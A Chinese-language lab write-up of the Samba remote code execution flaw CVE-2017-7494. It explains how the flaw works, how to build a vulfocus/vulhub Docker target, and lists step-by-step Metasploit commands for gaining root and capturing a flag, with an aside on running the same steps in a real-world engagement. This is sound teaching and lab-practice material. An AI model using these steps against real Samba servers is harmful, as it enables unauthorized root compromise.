一、概述
Samba是在Linux和UNIX系统上实现SMB协议的一个软件。2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。
二、漏洞影响版本
Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。
三、漏洞利用条件
1、服务器打开了文件/打印机共享端口445
2、共享文件拥有访问以及写入权限
3、攻击者知道共享的目录路径
该漏洞只需要通过一个可写入的Samba用户权限就可以提权到samba所在服务器的root权限(samba默认是root用户执行的)。
四、漏洞原理
Samba 允许连接一个远程的命名管道,并且在连接前会调用 is_known_pipename() 函数验证管道名称是否合法。在 is_known_pipename() 函数中,pipename并没有检查管道名称中的部分特殊字符,加载了使用该名称的动态链接库。导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码。
(图片来源于网络)分析patch,我们可以构造一个有/符号的管道名或路径名,如/home/exchange/evil.so对于存在漏洞的版本,就会代入smb_probe_module中,从而可以加载攻击者上传并执行dll或者so文件。
五、环境搭建
1、在线靶场http://vulfocus.fofa.so
2、本地环境搭建,使用vulfocus靶场一键启动搭建本漏洞环境。
1)安装docker。
2)安装 docker-compose(有 pip 后即可直接使用 pip 安装
docker-compose,如果环境中没有pip,还需先安装pip,在这里就不演示pip的安装了)。
3)验证是否安装成功。
4)Github上下载vulhub包
5)进入漏洞目录
6)自动化编译环境
7)启动整个漏洞环境
8)查看运行端口
六、漏洞复现
1)打开kali,用kali中的msf工具进行漏洞利用,获取flag,2020版本kali中自带攻击脚本。
2)search CVE-2017-7494(搜索漏洞编号,查找漏洞脚本)
3)use exploit/linux/samba/is_known_pipename(使用脚本)
4)set rhost IP(设置漏洞地址)。
5)set rport 23009(这里设置的端口号为,445映射端口号)。
6)set smb_folder /home/share(猜测的目标的绝对路径,如果是实战环境,无法猜测绝对路径,不用设置这一条)。
7)set smb_share_name /home/share(猜测的目标的绝对路径,如果是实战环境,无法猜测绝对路径,不用设置这一条)。
8)show options(查看一下配置选项)
9)run(进行攻击),攻击完成后寻找flag,flag位置不一定,具体情况下需要具体查找。